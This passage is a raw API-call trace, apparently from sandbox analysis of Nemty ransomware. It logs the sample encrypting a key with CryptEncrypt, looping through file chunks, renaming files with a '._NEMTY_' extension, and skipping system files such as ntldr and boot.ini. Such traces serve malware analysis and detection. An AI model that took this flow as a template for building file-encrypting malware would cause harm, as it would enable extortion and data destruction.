hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0081.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94358 [0081.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0081.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941c0 [0081.901] Sleep (dwMilliseconds=0x5) [0081.913] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe47898d0, dwHighDateTime=0x1d561e7)) [0081.913] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe47898d0, dwHighDateTime=0x1d561e7)) [0081.913] GetLastError () returned 0x5 [0081.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0081.913] GetLastError () returned 0x5 [0081.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0081.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0081.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0081.914] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0081.914] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0081.914] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0081.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0081.914] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="yMxRkVVKvw5HCzG1ECeP+bafZWxLhq+Fh2IQK+KK5RvtGytPPclm0sZUFFDTpIUx\r\nUIm80U5BZFPSILo+5+yWzfyBPZdYARfzA88O9XXbX13W+yodewC8LXKDAohPLkS8\r\n/le14w7NmKCUm61YFpBF8TJIR0BVui5U144bZGAQfxyFzXX2J2F0uh+9rR5Jy14X\r\nE4fP8HPB1s09zdqdjFjKGqsqsam9aVmJwVA+0OigSgyTImo9n3HCO6XTUZAi72jb\r\nubseq0OgKzrwvJD97YVo0kc+sLlfY3CtBrm87eDnRVrNt9haLmYz5FEsVvdV8VkJ\r\ntDr6OfH2NrEvgY6+aRODlQ==\r\n", pcchString=0x653ec5c) returned 1 [0081.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0081.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0081.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0081.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0081.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0081.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0081.914] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.914] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0081.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0081.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.914] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0081.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.924] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0081.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.924] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0081.933] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.933] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0081.933] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.933] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0081.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.942] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0081.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.943] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0081.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.952] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0081.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.952] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0081.962] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.962] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0081.962] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.962] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0081.971] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.971] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0081.971] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.971] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0081.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.987] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0081.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.987] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0081.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.997] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0081.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.997] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.006] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.006] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.016] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.016] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.022] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.022] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.028] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.028] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0082.028] CloseHandle (hObject=0xffffffff) returned 0 [0082.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94268 [0082.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0082.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0082.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0082.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0082.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0082.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0082.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340260 [0082.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0082.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0082.029] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp._nemty_kgobjgd_")) returned 0 [0082.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0082.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0082.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0082.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0082.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0082.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0082.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0082.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0082.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0082.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0082.029] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eac17af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eac17af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="rectangle_highlights_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0082.029] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2=".") returned 1 [0082.029] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="..") returned 1 [0082.029] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="...") returned 1 [0082.029] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="windows") returned -1 [0082.029] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="$RECYCLE.BIN") returned 1 [0082.029] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="rsa") returned -1 [0082.029] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="NTDETECT.COM") returned 1 [0082.029] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="ntldr") returned 1 [0082.029] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="MSDOS.SYS") returned 1 [0082.029] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="IO.SYS") returned 1 [0082.029] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="boot.ini") returned 1 [0082.029] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="boot.ini") returned 1 [0082.029] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="AUTOEXEC.BAT") returned 1 [0082.029] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="ntuser.dat") returned 1 [0082.029] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="desktop.ini") returned 1 [0082.029] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="CONFIG.SYS") returned 1 [0082.030] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="RECYCLER") returned -1 [0082.030] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="BOOTSECT.BAK") returned 1 [0082.030] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="bootmgr") returned 1 [0082.030] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="programdata") returned 1 [0082.030] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="appdata") returned 1 [0082.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0082.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_highlights_Thumbnail.bmp", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0082.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0082.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_highlights_Thumbnail.bmp", cchWideChar=34, lpMultiByteStr=0x6345608, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_highlights_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 34 [0082.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0082.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f941c0 [0082.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_highlights_Thumbnail.bmp", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0082.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0082.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_highlights_Thumbnail.bmp", cchWideChar=34, lpMultiByteStr=0x6345608, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_highlights_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 34 [0082.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0082.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0082.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0082.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0082.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_highlights_Thumbnail.bmp", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0082.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0082.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_highlights_Thumbnail.bmp", cchWideChar=34, lpMultiByteStr=0x6345608, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_highlights_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 34 [0082.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0082.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0082.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_highlights_Thumbnail.bmp", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0082.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0082.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_highlights_Thumbnail.bmp", cchWideChar=34, lpMultiByteStr=0x6345640, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_highlights_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 34 [0082.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0082.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941c0 [0082.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0082.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94268 [0082.030] Sleep (dwMilliseconds=0x5) [0082.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe48ba3d0, dwHighDateTime=0x1d561e7)) [0082.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe48ba3d0, dwHighDateTime=0x1d561e7)) [0082.041] GetLastError () returned 0x5 [0082.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0082.041] GetLastError () returned 0x5 [0082.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0082.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0082.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0082.041] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0082.041] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0082.041] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0082.041] 